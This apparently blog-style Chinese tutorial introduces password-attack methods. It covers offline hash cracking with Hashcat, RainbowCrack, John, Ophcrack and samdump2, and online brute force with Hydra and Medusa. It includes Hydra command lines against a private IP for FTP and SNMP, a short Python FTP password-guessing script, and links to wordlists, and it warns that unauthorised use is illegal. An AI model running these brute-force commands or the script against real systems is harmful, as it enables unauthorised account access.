駭客密碼攻擊的方法與工具
這篇文章主要說明兩種密碼攻擊的方法與相關的工具介紹。
一種是線上直接針對系統密碼作登入的嘗試,
另外一種是取得密碼檔案,針對密碼檔案的Hash值做分析。
透過這些工具也可以了解目前系統的密碼強度為何?
系統是否會在五分鐘內被破解所有的密碼?
(最後提醒,這樣的工具使用在未經授權的系統是非法的。)
密碼攻擊的方法
密碼攻擊的方法原則上分為兩大類。
離線分析:
這種方式指的是取得密碼檔案分析。因為密碼檔案內容通常是加密或是有 Hash,因此分析的方向主要是破解 Hash 值。優點是可以避免線上系統的一些防護措施。
這類的工具包含:
- Hashcat
- RainbowCrack
- Samdump2
- John / Johnny
- Ohcrack
- Crunch
線上攻擊
這種方式指的是直接對線上系統登入帳號密碼。缺點是這樣的方式很容易受到系統防護措施的影響。
例如,嘗試超過三次就禁止登入。或是被發現有大量登入的行為而IP Address被阻擋。
這類的工具包含:
- Hydra
- Medusa
THC-HYRDA
HYDRA 為網路密碼攻擊的必備工具,支援許多常見的網路服務。
|
https://www.aldeid.com/wiki/Thc-hydra
https://www.thc.org/thc-hydra/
https://github.com/vanhauser-thc/thc-hydra
Hydra執行
Hydra 可以針對許多不同的 protocol 用密碼字點檔案的方式攻擊。
# hydra -l ftp -P passwords.txt -v 192.168.0.112 ftp |
hydra -P passwords.txt -v 192.168.0.112 snmp |
FTP線上密碼攻擊
[pastacode lang=”python” message=”” highlight=”” provider=”manual”]
#!/usr/bin/python
import socket
import re
import sys
def connect(username,password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*] Trying " + username + ":" + password
s.connect(('192.168.0.112',21))
data = s.recv(1024)
s.send('USER ' + username + '\r\n')
data = s.recv(1024)
s.send('PASS ' + password + '\r\n')
data = s.recv(3)
s.send('QUIT\r\n')
s.close()
return data
username = "ftp"
passwords = ["test","backup","password","12345","root","administrator","ftp","admin"]
for password in passwords:
attempt=connect(username,password)
if attempt == "230":
print "[*] Password found: "+ password
sys.exit(0)
[/pastacode]
哪一種Hash 演算法?
如果採用的是密碼檔案的分析,首先必須初步判斷該檔案適用哪一種 Hash 演算法。
可以用這個python程式判斷。https://code.google.com/p/hash-identifier/downloads/list
HashCAT
另外一個工具就是 hashcat
http://hashcat.net/hashcat/#features-algos
這類的工具通常需要搭配密碼字典檔案使用,
因此這些工具會將密碼字典用許多不同的 Hash演算法加密,之後比對該 hash是否與密碼檔案相同。
http://www.hashkiller.co.uk/hashcat-gui.aspx
密碼字典檔案可以在哪裡取得呢?
https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm
https://packetstormsecurity.com/Crackers/wordlists/
http://hashcrack.blogspot.de/p/wordlist-downloads_29.html
http://blog.g0tmi1k.com/2011/06/dictionaries-wordlists/
RainbowCrack
利用 Rainbow Table 的攻擊方式。Rainbow 主要事先計算好Hash之後再比較。因此速度比較快但是比較耗記憶體。
Kali Linux主要包含工具可以做Rainbow attack有:
- rtgen
- rtsort
- rcrack
例如 Ophcrack也是利用 rainbow 方式的一種密碼供集工具
如何取出 windows 密碼檔案?
可以使用samdump2的工具。取出之後再用John /Johnny或是Ophcrack的工具來分析密碼
線上密碼攻擊工具
- Hydra
- Medusa
密碼字典檔案
http://www.qa-knowhow.com/?p=1156
https://wiki.skullsecurity.org/Passwords
這些工具在哪裡取得?
如果使用虛擬機器,可以下載 image
https://www.offensive-security.com/kali-linux-vmware-arm-image-download/
如果是使用 Docker 可以用Docker 下載 Docker images
https://hub.docker.com/r/kalilinux/kali-linux-docker/
|